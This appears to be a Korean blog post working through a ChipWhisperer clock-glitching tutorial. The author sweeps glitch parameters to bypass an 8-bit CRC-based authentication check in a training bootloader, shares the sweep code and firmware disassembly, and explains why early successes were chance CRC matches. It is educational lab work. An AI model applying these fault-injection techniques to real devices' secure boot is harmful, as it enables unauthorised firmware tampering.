graf
Fault1.4 Authenticated AES Bootloader-1 본문
1. 개요

이번 목표는 인증 우회다.
AES 인증을 우회하여 펌웨어를 업로드하는 것이 목표라고 한다.
내 목표도 secure boot 우회였으니 이번에 배울 점이 정말 많겠다.

이번엔 CPA 공격을 할 줄 알아야 한다고 한다.
이건.. 할 줄 모르는데...
그렇다고 SCA 문서를 다 공부하고 글리칭을 시작하는건 주객전도인 것 같고,,
일단 그냥 이어서 해보자. 모르는 내용이 나오면 공부하면서 진행해봐야겠다.
2. 기본 설정
calc_crc = cw.targets.SimpleSerial2._calc_crc
print(calc_crc([0x00, 0x12]))
crc를 계산하는 함수다.
현재 대상 장치에서도 인증 정보로 8비트 crc를 사용하고 있다.
여기선 simpleSerial2의 내부 구현을 가져다 사용했다.
def bootloader_calc_crc(buf):
mac_key = [0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6]
crc_buf = bytearray(mac_key)
crc_buf.extend(buf)
return calc_crc(crc_buf)
ktp = cw.ktp.Basic() # 테스트 데이터 생성용 코드
key, text = ktp.next()
print(bootloader_calc_crc(text))
펌웨어의 crc 계산 과정을 재현한 코드로
mac_key를 사용해서 crc를 계산하는 동작이다.
키 뒤에 메시지를 이어 붙여서 crc를 계산한다.
키를 알지 못할 경우 값을 재현하지 못하게 하려는 목적다.
장치가 이를 MAC으로 사용한다는 의미인데
crc가 너무 짧기도 하고 암호학적으로 안전한 함수는 아니라고 한다.
8 비트면 거의 체크섬 수준이긴 하겠다.

이렇게 나오는 194가 저 text의 인증정보 역할을 하나보다.
def reboot_flush():
reset_target(scope)
target.reset_comms()
target.simpleserial_write(0x00, bytearray(range(16)))
target.simpleserial_wait_ack()
scope.adc.samples = 24400
scope.adc.offset = 5000
리셋 함수와 전력 분석을 위한 파라미터 설정 코드다.
3. 통신 확인
target.simpleserial_write(0x00, bytearray(range(16)))
target.simpleserial_wait_ack()
CRC 연산에 사용할 초기벡터를 설정하는 코드다.

한번 초기화된 이후에는 수정할 수 없어 여러번 실행하면 에러코드 0x12가 반환된다.
key, text = ktp.next()
text.extend([bootloader_calc_crc(text)])
scope.arm()
target.simpleserial_write("p", text)
scope.capture()
val = target.simpleserial_wait_ack() # For loop check
print(val)
cw.plot(scope.get_last_trace())
crc가 올바르게 들어간 text를 전송하고 전력 분석을 수행한다.
key, text = ktp.next()
text.extend([0x00])
scope.arm()
target.simpleserial_write("p", text)
scope.capture()
val = target.simpleserial_wait_ack()#For loop check
print(val)
cw.plot(scope.get_last_trace())
그리고 이건 올바른 crc가 들어가지 않았을 때다.
이제 둘의 전력 그래프를 비교해보자.
scope.clock.clkgen_src = "system"
scope.clock.adc_mul = 4
scope.adc.samples = 6000*scope.clock.adc_mul
scope.adc.offset = 1250*scope.clock.adc_mul
오프셋과 수집 범위를 일정하게 잡으려고 코드를 약간 수정했다.
이렇게 해야 나중에 클럭 수 계산하기도 편할 거다.


첫번째가 올바른 crc가 들어갔을 때고
두번째가 crc가 틀렸을 때다.

crc가 틀렸을 때는 에러 코드 0x11이 반환됐다.

차이가 발생하기 시작하는건 대충 3000 클럭 전후다.
시스템 클럭보다 네배 빠르게 했으니 일단 750 클럭 정도로 생각하고 있어야겠다.
3. 글리칭 주입
3.1 첫번째 시도
scope.cglitch_setup(default_setup=False) # make sure default_setup is off so we don't overwrite our adc settings
gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "offset", "ext_offset"])
gc.set_range("width", 100, scope.glitch.phase_shift_steps//2)
gc.set_range("offset", 4420, 4480)
gc.set_range("ext_offset", 600, 900)
gc.set_global_step([1])
gc.set_step("width", 100)
gc.set_step("offset", 5)
gc.set_step("ext_offset", 1)
offset은 지난번에 글리치가 잘 터졌던 값으로 설정했다.
ext_offset은 750 클럭 전후로 잡았다.
width는 뭐.. 지금 거의 tries같은 역할이라..
gc.display_stats()
gc.glitch_plot(plotdots={"success":"+g", "reset":"xr", "normal":None}, x_index="offset", y_index="ext_offset", bufferlen=int(100E6))
scope.glitch.repeat = 1
scope.adc.timeout = 0.1
reboot_flush()
target.reset_comms() # 통신 버퍼 초기화
x = []
project = cw.create_project("projects/test_bootloader", overwrite=True)
for glitch_setting in gc.glitch_values():
scope.glitch.width = glitch_setting[0]
scope.glitch.offset = glitch_setting[1]
scope.glitch.ext_offset = glitch_setting[2]
if scope.adc.state:
# can detect crash here (fast) before timing out (slow)
print("Trigger still high!")
gc.add("reset")
reboot_flush()
#target.reset_comms()
#Do glitch loop
key, text = ktp.next()
cpy_text = bytearray(text)
text.extend([0x00])
scope.arm()
target.simpleserial_write("p", text)
ret = scope.capture()
val = target.simpleserial_read('e', 1, ack=False)
if ret: #here the trigger never went high - sometimes the target is stil crashed from a previous glitch
print('Timeout - no trigger')
gc.add("reset")
#Device is slow to boot?
reboot_flush()
target.reset_comms()
else:
if val == None: # change this to detect an invalid response
gc.add("reset")
else:
if val == b"\x11":#normal response
gc.add("normal")
elif val == b"\x00": #glitch!!!
gc.add("success")
print(f"Loc: {scope.glitch.ext_offset}")
x.append(scope.get_last_trace())
trace = cw.Trace(scope.get_last_trace(), cpy_text, key, key)
project.traces.append(trace)
else:
print(f"unexpexted value: {val}")
이번 글리치 코드 전문이다.

리셋이 과할 정도로 나와서 보다가 멈췄다.

이게 하도 많이 터지니까 그냥 선이 그어지네ㅋㅋㅋㅋ 아 미치겠다.

리셋은 두가지가 모두 고르게 발생했다.
이거로 뭔가를 판단하기는 어렵겠다.
멈춰야겠다고 판단한 이유는 리셋만 계속 나오는 것도 있었지만
ext_offset에 무관하게 리셋이 발생하고 있다는 점 때문이었다.
이번엔 offset 설정이 문제인 것 같다.
4425일 때는 성공이 기록됐지만 이후엔 리셋만 터졌다.
그동안 결함 지점만 생각했지 결함이 발생되기만 한다면
결함을 만드는 클럭 길이는 중요하지 않다고 생각했는데
내 생각이 틀렸던 것 같다.
다음부터는 오프셋을 크게 놓고 제대로 스캔을 해야겠다.

그래도 이번엔 다행히 뭔가가 얻어걸렸다.
offset이 4425일 때는 전부 성공으로 기록됐다.
offset 스캔 대상을 저 안쪽으로 다시 잡아봐야겠다.
3.2 두번째 시도
gc.set_range("width", 100, 100)
gc.set_range("offset", 4400, 4430)
gc.set_range("ext_offset", 600, 900)
gc.set_global_step([1])
gc.set_step("width", 100)
gc.set_step("offset", 1)
gc.set_step("ext_offset", 1)
offset을 4425를 포함하여 더 작은 값들도 순회하도록 했다.
step은 최소한으로 줄였다.

결과는 꽤 성공적이었다.
리셋은 모두 후반에 몰렸고
생각보다 많은 시도에서 성공적으로 crc를 통과했다.
근데 문제가.. 너무 퍼져있다.
현재 탐색한 파라미터 내에서는 완전히 무작위적으로 발생했다고 봐야한다.
이런 그래프로는 뭔가를 판단하기가 너무 어렵다.
offset 범위를 넓혀서 다시 해봐야겠다.
3.3 세번째 시도
gc.set_range("width", 100, 100)
gc.set_range("offset", 4300, 4430)
gc.set_range("ext_offset", 500, 1000)
gc.set_global_step([1])
gc.set_step("width", 100)
gc.set_step("offset", 1)
gc.set_step("ext_offset", 1)
범위를 크게 넓혔더니 첫번째 시도처럼 리셋이 너무 많이 나와서
ext는 100씩 넓혔고 offset은 4300까지 내렸다.

이게 이번 결과다.
offset을 4300에서 시작했는데 여기도 리셋부터 나왔고
그 와중에 간간히 성공이 찍혀있다.
문제는 success가 지나치게 무작위적으로 찍혔다는 거다.
리셋이 나왔던 곳에서도 비슷한 비율로 성공이 기록됐다.
리셋 없이 sucess만 본다면 사실상 아까랑 거의 차이가 없다.
뭔가 되게 이쁘긴 한데.. 이걸 어떻게 받아들여야 할지 모르겠다.
success는 아무런 인과가 안 보이는 데다가
ext도 아니고 offset 앞뒤로 몰려있는 리셋들은..
이걸 진짜 어떻게 해석해야하지?
ext_offset을 넓혀서 범위를 조금 더 구체적으로 잡아볼 수는 있겠지만
이렇게 넓게 퍼지는 상황에서 그게 의미가 있을까 싶다.
gc.set_range("width", 100, 100)
gc.set_range("offset", 4320, 4420)
gc.set_range("ext_offset", 500, 1000)
gc.set_global_step([1])
gc.set_step("width", 100)
gc.set_step("offset", 10)
gc.set_step("ext_offset", 1)
plot = cw.plot(x[0])
for y in x[1:]:
plot += cw.plot(y)
plot
리셋 없이 안전하게 글리칭 가능한 범위로 잡고 파형을 출력했다.

총 27개의 success가 캡쳐됐다.

캡쳐된 그래프를 전부 비교해봤는데
모든 파형이 crc가 일치했을 때의 입력과 예외 없이 동일했다.
4. 결함 지점 확인
4.1 펌웨어 코드 확인
원인을 알아야한다.
우연히 맞아 떨어지는 글리치는 내가 원하는게 아니다.
scope.clock.clkgen_src = "system"
scope.clock.adc_mul = 1
scope.adc.samples = 6000*scope.clock.adc_mul
scope.adc.offset = 0
이번엔 오프셋 없이 캡쳐해봤다.


위가 성공, 아래가 실패다.
print(val)
print(scope.adc.trig_count)
cw.plot(scope.get_last_trace())

트리거가 올라가있던 시간은 1900클럭 정도가 나왔다.

처음 확인했던 그 지점과 대충 일치한다.
아...... 생각해보니 오프셋을 잘못 넣었다.
처음에 전력 비교할 때 1250 클럭 이후에 측정을 시작했으니
원래 의도대로라면 ext_offset을 750이 아니라 2000으로 했어야했다.
완전히 잘못하고 있었다...
근데 그 와중에 성공을 한게 조금 당황스럽다.
펌웨어를 확인해보자.
//calculate MAC
trigger_high();
4001cc: 4b16 ldr r3, [pc, #88] ; (400228 <bootloader_recv+0x84>)
4001ce: 4798 blx r3
uint8_t crc = ss_crc(cipher_buf, 0x08 + 0x10);
4001d0: 4b16 ldr r3, [pc, #88] ; (40022c <bootloader_recv+0x88>)
4001d2: 4817 ldr r0, [pc, #92] ; (400230 <bootloader_recv+0x8c>)
4001d4: 2118 movs r1, #24
4001d6: 4798 blx r3
// check that MAC is correct
if (crc != buf[16]) {
4001d8: 7c2b ldrb r3, [r5, #16]
4001da: 4283 cmp r3, r0
4001dc: 4b15 ldr r3, [pc, #84] ; (400234 <bootloader_recv+0x90>)
4001de: d002 beq.n 4001e6 <bootloader_recv+0x42>
trigger_low();
4001e0: 4798 blx r3
IV[i] = buf[i];
}
이게 crc 검증 코드다.
ss_crc 함수 호출 이후 crc를 8비트 정수로 비교한다.
비교 검사 부분은 클럭을 2천이나 먹을 이유가 없다.
내가 만든 글리치는 높은 확률로 ss_crc 내부에 들어갔을 것이다.
uint8_t ss_crc(uint8_t *buf, uint8_t len)
{
4002e0: 4603 mov r3, r0
unsigned int k = 0;
uint8_t crc = 0x00;
while (len--) {
4002e2: 4401 add r1, r0
uint8_t crc = 0x00;
4002e4: 2000 movs r0, #0
while (len--) {
4002e6: 428b cmp r3, r1
4002e8: d100 bne.n 4002ec <ss_crc+0xc>
crc = crc & 0x80 ? (crc << 1) ^ CW_CRC: crc << 1;
}
}
return crc;
}
4002ea: 4770 bx lr
crc ^= *buf++;
4002ec: f813 2b01 ldrb.w r2, [r3], #1
4002f0: 4050 eors r0, r2
4002f2: 2208 movs r2, #8
crc = crc & 0x80 ? (crc << 1) ^ CW_CRC: crc << 1;
4002f4: f010 0f80 tst.w r0, #128 ; 0x80
4002f8: ea4f 0040 mov.w r0, r0, lsl #1
4002fc: bf18 it ne
4002fe: f080 004d eorne.w r0, r0, #77 ; 0x4d
for (k = 0; k < 8; k++) {
400302: 3a01 subs r2, #1
crc = crc & 0x80 ? (crc << 1) ^ CW_CRC: crc << 1;
400304: b2c0 uxtb r0, r0
for (k = 0; k < 8; k++) {
400306: d1f5 bne.n 4002f4 <ss_crc+0x14>
400308: e7ed b.n 4002e6 <ss_crc+0x6>
이거다. 거의 확실히 여기에 글리치가 들어갔다.

앞에서 거의 대부분을 차지하는 시작 루프의 정체가 이거였다.
메시지 전체의 crc를 계산하는 동작이다.
4.2 가설1
코드를 보니 뭔가 짐작가는게 생겼다.
지금 떠오르는 가설은, 글리치가 ss_crc의 리턴을 0으로 만든게 아닌가 하는 것이다.
함수 내에서 crc가 0으로 초기화되니 초기화 직후 리턴을 만들어도 가능할 거고
리턴할 crc인 r0를 수정하는 동작이 정말 많은데
이 중에 우연히 r0가 0으로 붕괴하는 상황이 발생했을 수도 있다.
성공 위치가 넓게 퍼지고 재현성이 낮다는 점에서 가능성이 있어보인다.
만약 이게 맞다면 올바르지 않은 crc를 0이 아닌 값으로 넣는다면
아까와 같은 성공은 재현되지 않을 것이다.
이게 맞다면 어쩌면 똑같은 글리치를 넣더라도
공격 난이도를 낮출 수 있는 입력이 존재한다고 볼 수도 있다.
gc.set_range("width", 100, 100)
gc.set_range("offset", 4320, 4420)
gc.set_range("ext_offset", 500, 1000)
gc.set_global_step([1])
gc.set_step("width", 100)
gc.set_step("offset", 10)
gc.set_step("ext_offset", 1)
파라미터는 리셋이 발생하지 않았던 범위로 이전과 동일하게 잡았다.

crc는 0xff로 설정했다.
이제 다시 돌려보자.

그래도 여전히 성공이 뜬다.

여러번 시도해봤는데 20회 내외로 나온다.
지난번에 동일한 범위로 시도했을 때
27회가 나왔었던거랑 비교하면 아주 약간 줄어들긴 했다.
하지만 이 정도로는 모든 글리치가 설명이 안된다.
4.3 가설2
잠깐만... 생각해보니 5천번이 넘게 실행하는데 고작 8비트 crc를 쓴다면
이게.. 그냥 우연히 맞은 걸 수도 있지 않나?

위 파라미터로 다시 시도했을 때 5511번 시도해서 21회 성공했다.
그리고 5511을 256으로 나누면..

하....... 빌어먹을
이거였구나...
text를 계속 랜덤으로 뽑으니까
그중에 한번씩은 맞아떨어지는 거였구나...
아니 왜 이걸 생각을 못했지ㅠㅠㅠㅠ

데이터를 랜덤하게 넣는게 아니라 하나로 고정하고 다시 시도해 봤다.

그리고 이번에는 단 한 건도 성공하지 못했다.
파라미터를 잘못 잡았는데 왜 얻어걸렸나 했더니
왜 success 파라미터 간의 유사성이 안 보이나 했더니
진짜로 랜덤으로 성공하고 있던 거였다.....
어쩐지 뭔가 이상하더라니!!!!
5. 네번째 시도
머리가 아프다.
진짜 바보같은 실수를 하고 있었다.
그냥 튜토리얼에서 제공하는 틀을 보존하면서 코드를 완성했는데
당연히 정상적으로 동작할 거라고 생각했다.
gc.set_range("width", 100, scope.glitch.phase_shift_steps//2)
gc.set_range("offset", 100, scope.glitch.phase_shift_steps)
gc.set_range("ext_offset", 1700, 2100)
gc.set_global_step([1])
gc.set_step("width", 100)
gc.set_step("offset", 100)
gc.set_step("ext_offset", 1)
ext_offset을 처음 확인한 대로 1900 언저리로 다시 잡았다.
offset과 width는 처음 시도할 때처럼 보수적으로 잡았다.
scope.glitch.repeat = 1
scope.adc.timeout = 0.1
reboot_flush()
target.reset_comms() # 통신 버퍼 초기화
x = []
project = cw.create_project("projects/test_bootloader", overwrite=True)
for glitch_setting in gc.glitch_values():
scope.glitch.width = glitch_setting[0]
scope.glitch.offset = glitch_setting[1]
scope.glitch.ext_offset = glitch_setting[2]
if scope.adc.state:
# can detect crash here (fast) before timing out (slow)
print("Trigger still high!")
#gc.add("reset")
reboot_flush()
#target.reset_comms()
#Do glitch loop
key, text = ktp.next()
cpy_text = bytearray(text)
text.extend([0x00])
text = b'\xb9\xea\x2e\x13\x1e\x72\x70\x18\xd4\xef\xe4\x5a\x88\xf9\xff\x68\x00'
scope.arm()
target.simpleserial_write("p", text)
ret = scope.capture()
val = target.simpleserial_read('e', 1, ack=False)
if ret: #here the trigger never went high - sometimes the target is stil crashed from a previous glitch
print('Timeout - no trigger')
gc.add("reset")
#Device is slow to boot?
reboot_flush()
target.reset_comms()
else:
if val == None: # change this to detect an invalid response
gc.add("reset")
else:
if val == b"\x11":#normal response
gc.add("normal")
elif val == b"\x00": #glitch!!!
gc.add("success")
print(val)
print(f"Loc: {scope.glitch.ext_offset}")
x.append(scope.get_last_trace())
trace = cw.Trace(scope.get_last_trace(), cpy_text, key, key)
project.traces.append(trace)
else:
print(f"unexpexted value: {val}")
글리칭 코드 전문이다.
아까랑 거의 동일한데 text 부분만 수정했다.
crc는 0으로 넣었다.
처음 분석한 것처럼 글리칭 난이도를 낮출 수 있는 입력이라고 판단했다.

결과가 보여서 바로 멈췄다.
ext_offset이 1850, 1855, 1921, 1996 일 때 동일하게 성공했다.
이제야 결과가 일관되게 나온다.

이번엔 crc를 0xff로 놓고 다시 해보자.

결과에서 success 하나가 감소했다.
1850에서의 성공이 사라졌다.
1850은 crc를 0으로 만드는 글리치를 넣었다고 봐야겠다.
현재 보이는 세개의 글리치 중에 추측하는건
에러 코드 리턴을 을 막았거나,
cmp를 막았거나,
ss_crc에서 리턴되는 crc를 막았거나...
등등인데
짐작가는게 너무 많아서 정확히 잡지는 못하겠다.
애초에 글리치가 만들어내는 결함을 특정할 수 있는 게 아니기도 하고..
plot = cw.plot(x[0])
for y in x[1:]:
plot += cw.plot(y)
plot
그런데 이번에도 success 캡쳐 그래프를 출력해봤는데 정말 재밌는 결과가 나왔다.

이번에는 9번의 success 중에 6번이
crc가 일치하지 않았을 때와 동일한 파형이 나왔다.
일치하는 파형이 나온 시도는 ext_offset이 1855일 때가 유일했다.
// check that MAC is correct
if (crc != buf[16]) {
trigger_low();
return 0x11;
}
일치하는 파형이 나온게 crc가 실제로 일치한 것은 아닐거다.
아마 여기서 비교나 분기가 제대로 동작하지 않았기 때문일 거다.
1850은 글리치가 ss_crc에서 오는 리턴을 0으로 만들었고
1855는 리턴 직후 cmp나 ret 명령어를 공격한 글리치였던 것 같다.

나머지 6번은 cmp 이후 이 뒷부분이 실행되지 않았을 테니
리턴으로 함수가 종료되긴 했다는 거다.
아마도 리턴 이후 응답 코드를 만드는 부분에서
결함이 발생하지 않았을까 싶다.
아직 남은 내용이 있는데 쓰다보니 글이 너무 길어져서 나눠서 진행해야겠다.
'ChipWhisperer > GlitchingTutorial' 카테고리의 다른 글
| Fault2.1 Introduction to Voltage Glitching (0) | 2026.03.30 |
|---|---|
| Fault1.4 Authenticated AES Bootloader-2 (0) | 2026.03.29 |
| Fault1.3 Clock Glitching to Memory Dump (0) | 2026.03.22 |
| Fault1.2 Clock Glitching to Bypass Password (0) | 2026.03.21 |
| Fault1.1 Introduction to Clock Glitching (0) | 2026.03.16 |